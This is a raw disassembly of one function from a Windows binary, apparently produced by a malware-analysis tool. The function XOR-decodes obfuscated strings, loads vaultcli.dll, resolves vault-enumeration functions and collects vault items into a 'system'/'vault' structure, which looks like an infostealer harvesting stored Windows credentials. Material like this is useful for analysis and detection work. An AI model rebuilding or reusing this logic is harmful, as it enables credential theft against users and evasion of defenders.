Function at 0x14003b6e0
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2f0]
sub rsp, 0x3f0
mov rax, qword [0x14012ac00]
xor rax, rsp
mov qword [rbp + 0x2e0], rax
mov dword [rsp + 0x50], 0
mov qword [rbp + 0x1e8], 0
mov dword [rbp + 0x208], 0
mov dword [rbp + 0x204], 0
xor esi, esi
movabs rax, 0x59fb2a106344bc69
mov qword [rbp + 0x1e0], rax
mov rax, qword [rbp + 0x1e0]
mov qword [rbp], rax
movabs rax, 0xb85a5c5f425854a
mov qword [rbp + 0x1e0], rax
mov rax, qword [rbp + 0x1e0]
mov qword [rbp + 8], rax
movabs r12, 0x309749640f31dd3f
mov qword [rbp + 0x1e0], r12
mov rax, qword [rbp + 0x1e0]
mov qword [rbp + 0x280], rax
movabs r13, 0xb85a5c59849e164
mov qword [rbp + 0x1e0], r13
mov rax, qword [rbp + 0x1e0]
mov qword [rbp + 0x288], rax
movdqa xmm0, xmmword [rbp]
xorps xmm0, xmmword [rbp + 0x280]
movdqa xmmword [rbp], xmm0
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
mov qword [rbp + 0x98], rax
test rax, rax
je 0x14003c6a0
movabs rsi, 0x45f90c106344bc69
mov qword [rsp + 0x40], rsi
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x210], rax
movabs rax, 0x6ad3c0b1f93b8409
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x218], rax
movabs rax, 0x67cbdb1a92be6d24
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x220], rax
movabs r15, 0x5689f27ba26f4916
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x228], rax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x290], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x298], rax
movabs rdi, 0x67cbdb1ae1ca0151
mov qword [rsp + 0x40], rdi
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x2a0], rax
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x2a8], rax
movdqa xmm0, xmmword [rbp + 0x210]
xorps xmm0, xmmword [rbp + 0x290]
movdqa xmmword [rbp + 0x210], xmm0
movdqa xmm1, xmmword [rbp + 0x220]
xorps xmm1, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp + 0x220], xmm1
lea rdx, [rbp + 0x210]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [rsp + 0x40], rsi
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x50], rax
movabs rax, 0x7fccc0b1f93b8409
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x58], rax
movabs rax, 0x67cbdb1ae1b96c34
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x60], rax
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x68], rax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x290], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x298], rax
mov qword [rsp + 0x40], rdi
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x2a0], rax
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x2a8], rax
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x290]
movdqa xmmword [rbp + 0x50], xmm0
movdqa xmm1, xmmword [rbp + 0x60]
xorps xmm1, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp + 0x60], xmm1
lea rdx, [rbp + 0x50]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [rbp + 0x90], rax
movabs rax, 0x55e706106344bc69
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp - 0x10], rax
movabs rax, 0xb85d1a9ed28b70a
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp - 8], rax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x280], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x288], rax
movdqa xmm0, xmmword [rbp - 0x10]
xorps xmm0, xmmword [rbp + 0x280]
movdqa xmmword [rbp - 0x10], xmm0
lea rdx, [rbp - 0x10]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
mov qword [rsp + 0x68], rax
movabs rax, 0x44f20e106344bc69
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp - 0x20], rax
movabs rax, 0xb85a5c5f52c952d
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp - 0x18], rax
movabs rsi, 0x309749640f31dd3f
mov qword [rsp + 0x40], rsi
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x280], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x288], rax
movdqa xmm0, xmmword [rbp - 0x20]
xorps xmm0, xmmword [rbp + 0x280]
movdqa xmmword [rbp - 0x20], xmm0
lea rdx, [rbp - 0x20]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
mov qword [rbp + 0x88], rax
movabs rax, 0x55e50f106344bc69
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp - 0x30], rax
movabs rax, 0xb85a5c59849e101
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp - 0x28], rax
mov qword [rsp + 0x40], rsi
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x280], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x288], rax
movdqa xmm0, xmmword [rbp - 0x30]
xorps xmm0, xmmword [rbp + 0x280]
movdqa xmmword [rbp - 0x30], xmm0
lea rdx, [rbp - 0x30]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov qword [rbp + 0x80], rax
movabs rax, 0x5ffb0a106344bc69
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
mov qword [rbp - 0x40], rcx
movabs rax, 0xbf1c9b0f91f8417
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
mov qword [rbp - 0x38], rcx
movabs rax, 0x309749640f31dd3f
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
mov qword [rbp + 0x280], rcx
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x288], rax
movdqa xmm0, xmmword [rbp - 0x40]
xorps xmm0, xmmword [rbp + 0x280]
movdqa xmmword [rbp - 0x40], xmm0
lea rdx, [rbp - 0x40]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x70], rax
test rbx, rbx
je 0x14003c6a0
test rdi, rdi
je 0x14003c6a0
test r12, r12
je 0x14003c6a0
test r15, r15
je 0x14003c6a0
test rsi, rsi
je 0x14003c6a0
test rax, rax
je 0x14003c6a0
lea r8, [rbp + 0x1e8]
lea rdx, [rbp + 0x208]
xor ecx, ecx
call rbx
test eax, eax
jne 0x14003c6a0
xor ebx, ebx
mov dword [rsp + 0x40], ebx
cmp dword [rbp + 0x208], ebx
jbe 0x14003c6a0
mov r14d, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
mov ecx, ebx
shl rcx, 4
add rcx, qword [rbp + 0x1e8]
lea r8, [rbp + 0x1f8]
xor edx, edx
call r12
test eax, eax
jne 0x14003c687
lea r9, [rbp + 0x1e0]
lea r8, [rbp + 0x204]
mov edx, 0x200
mov rcx, qword [rbp + 0x1f8]
call rdi
test eax, eax
jne 0x14003c687
mov r13, qword [rbp + 0x1e0]
xor eax, eax
mov r12d, eax
cmp dword [rbp + 0x204], eax
jbe 0x14003c673
jmp 0x14003bc72
xor eax, eax
xor bl, bl
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x238], rax
mov ecx, 0x50
call fcn.1400a9b78
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x230], rax
mov eax, r12d
lea rdi, [rax + rax*4]
shl rdi, 4
add rdi, r13
mov rax, qword [rdi + 0x18]
test rax, rax
je 0x14003bf42
mov rdx, qword [rax + 0x10]
test rdx, rdx
je 0x14003bf42
lea rcx, [rbp + 0x240]
call fcn.14006f870
nop
lea rax, [rbp + 0x150]
mov qword [rbp + 0x180], rax
lea rdx, [rbp + 0x240]
cmp qword [rbp + 0x258], 0xf
cmova rdx, qword [rbp + 0x240]
mov r8, qword [rbp + 0x250]
lea rcx, [rbp + 0xc0]
call fcn.140042160
or r14d, 2
mov dword [rsp + 0x50], r14d
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x150]
call fcn.140042430
mov rbx, rax
mov qword [rbp + 0x188], rax
movabs rax, 0x309749640f5daf4a
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x70], rcx
movabs rax, 0xb85a5c59849e164
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x78], rcx
movabs rcx, 0x309749640f31dd3f
mov qword [rsp + 0x48], rcx
mov rcx, qword [rsp + 0x48]
mov qword [rbp + 0x2c0], rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rbp + 0x2c8], rax
movdqa xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rsp + 0x70], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xor eax, eax
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rax
lea rax, [rsp + 0x70]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14003bdd0
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x10]
call fcn.1400300a0
nop
lea r8, [rbp + 0x10]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x230]
call fcn.140043710
mov r8, qword [rax]
movzx ecx, byte [r8 + 0x40]
movzx eax, byte [rbx]
mov byte [r8 + 0x40], al
mov byte [rbx], cl
lea rcx, [rbx + 8]
mov rax, qword [r8 + 0x48]
mov rdx, qword [rcx]
mov qword [r8 + 0x48], rdx
mov qword [rcx], rax
movzx edx, byte [rbx]
call fcn.140040e40
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x14003be67
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003be62
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003c751
call fcn.1400a9a50
xor ecx, ecx
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], cl
mov r14d, dword [rsp + 0x50]
and r14d, 0xfffffffd
mov dword [rsp + 0x50], r14d
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x14003bec9
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003bec2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003c757
call fcn.1400a9a50
xor ecx, ecx
mov qword [rbp + 0xd0], rcx
mov qword [rbp + 0xd8], 0xf
mov byte [rbp + 0xc0], 0
mov bl, 1
mov rdx, qword [rbp + 0x258]
cmp rdx, 0xf
jbe 0x14003bf27
inc rdx
mov rcx, qword [rbp + 0x240]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003bf20
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003c75d
call fcn.1400a9a50
xor ecx, ecx
mov qword [rbp + 0x250], rcx
mov qword [rbp + 0x258], 0xf
mov byte [rbp + 0x240], 0
jmp 0x14003bf44
xor ecx, ecx
mov rax, qword [rdi + 0x20]
test rax, rax
je 0x14003c1c1
mov rdx, qword [rax + 0x10]
test rdx, rdx
je 0x14003c1c1
lea rcx, [rbp + 0x260]
call fcn.14006f870
nop
lea rax, [rbp + 0x160]
mov qword [rbp + 0x190], rax
lea rdx, [rbp + 0x260]
cmp qword [rbp + 0x278], 0xf
cmova rdx, qword [rbp + 0x260]
mov r8, qword [rbp + 0x270]
lea rcx, [rbp + 0xe0]
call fcn.140042160
or r14d, 8
mov dword [rsp + 0x50], r14d
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x160]
call fcn.140042430
mov rbx, rax
mov qword [rbp + 0x198], rax
movabs rax, 0x309749647d54ae4a
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
mov qword [rbp - 0x80], rcx
movabs rax, 0xb85a5c59849e164
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
mov qword [rbp - 0x78], rcx
movabs rcx, 0x309749640f31dd3f
mov qword [rsp + 0x48], rcx
mov rcx, qword [rsp + 0x48]
mov qword [rbp + 0x2d0], rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rbp + 0x2d8], rax
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x2d0]
movdqa xmmword [rbp - 0x80], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xor eax, eax
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rax
lea rax, [rbp - 0x80]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14003c052
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x30]
call fcn.1400300a0
nop
lea r8, [rbp + 0x30]
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x230]
call fcn.140043710
mov r8, qword [rax]
movzx ecx, byte [r8 + 0x40]
movzx eax, byte [rbx]
mov byte [r8 + 0x40], al
mov byte [rbx], cl
lea rcx, [rbx + 8]
mov rax, qword [r8 + 0x48]
mov rdx, qword [rcx]
mov qword [r8 + 0x48], rdx
mov qword [rcx], rax
movzx edx, byte [rbx]
call fcn.140040e40
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14003c0e8
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c0e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003c763
call fcn.1400a9a50
xor ecx, ecx
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], cl
mov r14d, dword [rsp + 0x50]
and r14d, 0xfffffff7
mov dword [rsp + 0x50], r14d
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x14003c14a
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c143
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003c769
call fcn.1400a9a50
xor ecx, ecx
mov qword [rbp + 0xf0], rcx
mov qword [rbp + 0xf8], 0xf
mov byte [rbp + 0xe0], 0
mov bl, 1
mov rdx, qword [rbp + 0x278]
cmp rdx, 0xf
jbe 0x14003c1a8
inc rdx
mov rcx, qword [rbp + 0x260]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c1a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003c76f
call fcn.1400a9a50
xor ecx, ecx
mov qword [rbp + 0x270], rcx
mov qword [rbp + 0x278], 0xf
mov byte [rbp + 0x260], 0
mov qword [rbp + 0x1f0], rcx
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], ecx
mov qword [rsp + 0x28], rcx
mov rax, qword [rdi + 0x30]
mov qword [rsp + 0x20], rax
mov r9, qword [rdi + 0x20]
mov r8, qword [rdi + 0x18]
mov rdx, rdi
mov rcx, qword [rbp + 0x1f8]
call r15
test eax, eax
jne 0x14003c497
mov rcx, qword [rbp + 0x1f0]
mov rax, qword [rcx + 0x28]
test rax, rax
je 0x14003c490
mov rdx, qword [rax + 0x10]
test rdx, rdx
je 0x14003c490
lea rcx, [rbp + 0x210]
call fcn.14006f870
nop
lea rax, [rbp + 0x170]
mov qword [rbp + 0x1a0], rax
lea rdx, [rbp + 0x210]
cmp qword [rbp + 0x228], 0xf
cmova rdx, qword [rbp + 0x210]
mov r8, qword [rbp + 0x220]
lea rcx, [rbp + 0x290]
call fcn.140042160
or r14d, 0x10
mov dword [rsp + 0x50], r14d
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x170]
call fcn.140042430
mov rbx, rax
mov qword [rbp + 0x148], rax
movabs rax, 0x309749647c42bc4f
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
mov qword [rbp - 0x70], rcx
movabs rax, 0xb85a5c59849e164
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
mov qword [rbp - 0x68], rcx
movabs rcx, 0x309749640f31dd3f
mov qword [rsp + 0x48], rcx
mov rcx, qword [rsp + 0x48]
mov qword [rbp + 0x2b0], rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rbp + 0x2b8], rax
movdqa xmm0, xmmword [rbp - 0x70]
xorps xmm0, xmmword [rbp + 0x2b0]
movdqa xmmword [rbp - 0x70], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor edi, edi
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], rdi
lea rax, [rbp - 0x70]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x14003c320
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x60]
call fcn.1400300a0
nop
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x230]
call fcn.140043710
mov r8, qword [rax]
movzx ecx, byte [r8 + 0x40]
movzx eax, byte [rbx]
mov byte [r8 + 0x40], al
mov byte [rbx], cl
lea rcx, [rbx + 8]
mov rax, qword [r8 + 0x48]
mov rdx, qword [rcx]
mov qword [r8 + 0x48], rdx
mov qword [rcx], rax
movzx edx, byte [rbx]
call fcn.140040e40
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x14003c3b5
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c3b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003c775
call fcn.1400a9a50
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
mov r14d, dword [rsp + 0x50]
and r14d, 0xffffffef
mov dword [rsp + 0x50], r14d
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 0xf
jbe 0x14003c414
inc rdx
mov rcx, qword [rbp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c40f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003c6f7
call fcn.1400a9a50
mov qword [rbp + 0x2a0], rdi
mov qword [rbp + 0x2a8], 0xf
mov byte [rbp + 0x290], 0
mov bl, 1
mov rdx, qword [rbp + 0x228]
cmp rdx, 0xf
jbe 0x14003c470
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c46b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003c74b
call fcn.1400a9a50
mov qword [rbp + 0x220], rdi
mov qword [rbp + 0x228], 0xf
mov byte [rbp + 0x210], 0
mov rcx, qword [rbp + 0x1f0]
test rcx, rcx
je 0x14003c497
call rsi
test bl, bl
je 0x14003c645
lea rax, [rbp + 0x100]
mov qword [rbp + 0x1a8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
xor edi, edi
mov qword [rbp + 0x110], rdi
mov qword [rbp + 0x118], rdi
mov r8d, 6
lea rdx, str.system
lea rcx, [rbp + 0x100]
call fcn.1400300a0
nop
lea rdx, [rbp + 0x100]
lea rcx, [0x14012b1b0]
call fcn.14003ec00
mov rbx, rax
lea rax, [rbp + 0xa0]
mov qword [rbp + 0x138], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], rdi
mov qword [rbp + 0xb8], rdi
mov r8d, 5
lea rdx, str.vault
lea rcx, [rbp + 0xa0]
call fcn.1400300a0
nop
lea rdx, [rbp + 0xa0]
mov rcx, rbx
call fcn.14003ec00
mov r15, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x58], dil
xor eax, eax
mov qword [rsp + 0x60], rax
xor edx, edx
lea rcx, [rsp + 0x60]
call fcn.140040e40
mov byte [rsp + 0x58], 1
mov rdi, qword [rbp + 0x230]
mov rbx, qword [rdi]
xorps xmm0, xmm0
movups xmmword [rbp + 0x280], xmm0
mov ecx, 0x10
call fcn.1400a9b78
mov rsi, rax
lea rax, [rbp + 0x200]
mov qword [rbp + 0x280], rax
mov qword [rbp + 0x288], rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rsi
call fcn.140058d40
mov qword [rbp + 0x288], 0
mov qword [rsp + 0x60], rsi
movzx eax, byte [r15]
test al, al
je 0x14003c5d4
cmp al, 2
jne 0x14003c6fd
jmp 0x14003c5eb
mov byte [r15], 2
mov dl, 2
lea rcx, [rbp + 0x78]
call fcn.1400406d0
mov rax, qword [rbp + 0x78]
mov qword [r15 + 8], rax
mov rcx, qword [r15 + 8]
mov rdx, qword [rcx + 8]
cmp rdx, qword [rcx + 0x10]
je 0x14003c61e
mov qword [rbp + 0x140], rdx
movups xmm0, xmmword [rsp + 0x58]
movups xmmword [rdx], xmm0
xor dl, dl
mov byte [rsp + 0x58], dl
mov qword [rsp + 0x60], 0
add qword [rcx + 8], 0x10
jmp 0x14003c62d
lea r8, [rsp + 0x58]
call fcn.140049970
movzx edx, byte [rsp + 0x58]
lea rcx, [rsp + 0x60]
call fcn.140040e40
mov rsi, qword [rbp + 0x80]
mov r15, qword [rbp + 0x88]
lea rcx, [rbp + 0x230]
call fcn.14003e260
inc r12d
cmp r12d, dword [rbp + 0x204]
jb 0x14003bc70
mov r13, qword [rbp + 0x1e0]
mov ebx, dword [rsp + 0x40]
mov rdi, qword [rbp + 0x90]
mov rcx, r13
call rsi
mov rcx, qword [rbp + 0x1f8]
call qword [rbp + 0x70]
mov r12, qword [rsp + 0x68]
inc ebx
mov dword [rsp + 0x40], ebx
cmp ebx, dword [rbp + 0x208]
jb 0x14003bc10
mov r14, qword [rbp + 0x98]
mov rcx, qword [rbp + 0x1e8]
test rcx, rcx
je 0x14003c6b9
call rsi
mov qword [rbp + 0x1e8], 0
test r14, r14
je 0x14003c6c7
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rbp + 0x2e0]
xor rcx, rsp
call fcn.1400a9a30
lea r11, [rsp + 0x3f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14008d658
nop
mov rcx, r15
call fcn.140040890
mov qword [rsp + 0x68], rax
lea r8, [rsp + 0x68]
lea rdx, str.cannot_use_push_back___with
lea rcx, [rbp + 0xa0]
call fcn.1400443f0
nop
mov r8, rax
mov edx, 0x134
lea rcx, [rbp + 0x100]
call fcn.1400444c0
lea rdx, [0x140128298]
lea rcx, [rbp + 0x100]
call fcn.1400ac058
nop
call fcn.14008d658
nop
call fcn.14008d658
nop
call fcn.14008d658
nop
call fcn.14008d658
nop
call fcn.14008d658
nop
call fcn.14008d658
nop
call fcn.14008d658
nop
call fcn.14008d658
int3